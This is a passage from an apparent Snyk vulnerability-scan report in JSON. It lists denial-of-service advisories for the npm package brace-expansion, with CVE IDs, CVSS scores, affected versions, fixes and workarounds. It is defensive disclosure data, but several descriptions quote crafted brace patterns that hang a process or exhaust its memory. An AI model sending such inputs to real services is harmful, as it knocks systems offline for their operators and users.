Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": 